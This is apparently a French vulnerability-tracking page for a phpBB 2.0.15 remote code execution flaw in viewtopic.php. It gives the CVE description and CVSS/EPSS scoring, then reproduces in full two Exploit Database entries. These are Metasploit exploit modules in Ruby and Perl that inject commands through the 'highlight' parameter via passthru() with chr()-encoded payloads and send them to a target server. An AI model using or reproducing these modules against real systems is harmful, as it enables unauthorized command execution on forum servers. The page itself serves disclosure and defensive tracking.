Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Descriptions du CVE
PHP remote file inclusion vulnerability in viewtopic.php in phpBB 2.0.15 and earlier allows remote attackers to execute arbitrary PHP code.
Informations du CVE
Métriques
| Métriques | Score | Gravité | CVSS Vecteur | Source |
|---|---|---|---|---|
| V2 | 7.5 | AV:N/AC:L/Au:N/C:P/I:P/A:P | nvd@nist.gov |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 16890
Date de publication : 2010-07-02 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes
##
# $Id: phpbb_highlight.rb 9671 2010-07-03 06:21:31Z jduck $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'phpBB viewtopic.php Arbitrary Code Execution',
'Description' => %q{
This module exploits two arbitrary PHP code execution flaws in the
phpBB forum system. The problem is that the 'highlight' parameter
in the 'viewtopic.php' script is not verified properly and will
allow an attacker to inject arbitrary code via preg_replace().
This vulnerability was introduced in revision 3076, and finally
fixed in revision 5166. According to the "tags" within their tree,
this corresponds to versions 2.0.4 through 2.0.15 (inclusive).
},
'Author' => [ 'valsmith[at]metasploit.com', 'hdm', 'patrick' ],
'License' => MSF_LICENSE,
'Version' => '$Revision: 9671 $',
'References' =>
[
[ 'CVE', '2005-2086'],
[ 'CVE', '2004-1315'],
[ 'OSVDB', '11719'],
[ 'OSVDB', '17613'],
[ 'BID', '14086'],
[ 'BID', '10701'],
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby bash telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Automatic', { }],
[ 'phpbb <=2.0.10', { }],
[ 'phpbb <=2.0.15', { }],
],
'DisclosureDate' => 'Nov 12 2004',
'DefaultTarget' => 0))
register_options(
[
OptString.new('URI', [true, "The phpBB root Directory", "/phpBB2"]),
OptString.new('TOPIC', [false, "The ID of a valid topic"]),
], self.class)
end
def find_topic
1.upto(32) do |x|
res = send_request_raw({
'uri' => datastore['URI'] + '/viewtopic.php?topic=' + x.to_s,
}, 25)
if (res and res.body.match(/class="postdetails"/))
print_status("Discovered valid topic ID: #{x}")
return x
end
end
return false
end
def exploit
topic = datastore['TOPIC'] || find_topic
if !(topic)
print_status("No valid topic ID found, please specify the TOPIC option.")
return
else
sploit = datastore['URI'] + "/viewtopic.php?t=#{topic}&highlight="
case target.name
when /Automatic/
req = "/viewtopic.php?t=#{topic}&highlight=%2527%252ephpinfo()%252e%2527"
res = send_request_raw({
'uri' => datastore['URI'] + req
}, 25)
print_status("Trying to determine which attack method to use...")
if (res and res.body =~ /\<title>phpinfo/)
byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e')
sploit << "%2527%252epassthru(#{byte})%252e%2527"
else
byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.')
sploit << "%27.passthru(#{byte}).%27"
end
when /2\.0\.10/
byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('%252e')
sploit << "%2527%252epassthru(#{byte})%252e%2527"
when /2\.0\.15/
byte = payload.encoded.unpack('C*').map! { |ch| ch = "chr(#{ch})" }.join('.')
sploit << "%27.passthru(#{byte}).%27"
end
res = send_request_raw({
'uri' => sploit
}, 25)
end
end
end
Exploit Database EDB-ID : 1113
Date de publication : 2005-07-18 22h00 +00:00
Auteur : str0ke
EDB Vérifié : Yes
##
# Title: phpBB 2.0.15 arbitrary command execution eXploit
# Name: php_phpbb2_0_15.pm
# License: Artistic/BSD/GPL
# Info: Coded because of boredom.
#
# - This is an exploit module for the Metasploit Framework, please see
# http://metasploit.com/projects/Framework for more information.
##
package Msf::Exploit::php_phpbb2_0_15;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;
my $advanced = { };
my $info = {
'Name' => 'phpBB 2.0.15 arbitrary command execution eXploit',
'Version' => '$Revision: 1.0 $',
'Authors' => [ 'str0ke <str0ke [at] milw0rm.com> [Artistic/GPL]' ],
'Arch' => [ ],
'OS' => [ ],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 80],
'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
'RPATH' => [1, 'DATA', 'Path to the viewtopic script', '/phpBB2/viewtopic.php'],
'TOPIC' => [1, 'DATA', 'viewtopic id', '1'],
'SSL' => [0, 'BOOL', 'Use SSL'],
},
'Description' => Pex::Text::Freeform(qq{
This module exploits an arbitrary code execution flaw in phpbb 2.0.15.
}),
'Refs' =>
[
['MIL', '1113'],
],
'Payload' =>
{
'Space' => 512,
'Keys' => ['cmd', 'cmd_bash'],
},
'Keys' => ['phpbb'],
};
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $vhost = $self->GetVar('VHOST') || $target_host;
my $path = $self->GetVar('RPATH');
my $topic = $self->GetVar('TOPIC');
my $cmd = $self->GetVar('EncodedPayload')->RawPayload;
# Encode the command as a set of chr() function calls
my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));
# Create the phpBB get request data
my $data = "?t=$topic&highlight=%27.".
"passthru($byte)".
".%27";
my $req =
"GET $path$data HTTP/1.1\r\n".
"Host: $vhost:$target_port\r\n".
"Content-Type: application/html\r\n".
"Content-Length: ". length($data)."\r\n".
"Connection: Close\r\n".
"\r\n";
my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError){
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}
$self->PrintLine("[*] Sending the malicious phpBB Get request...");
$s->Send($req);
my $results = $s->Recv(-1, 20);
$s->Close();
return;
}
1;
# milw0rm.com [2005-07-19]
Products Mentioned
Configuraton 0
Phpbb_group>>Phpbb >> Version 2.0.15
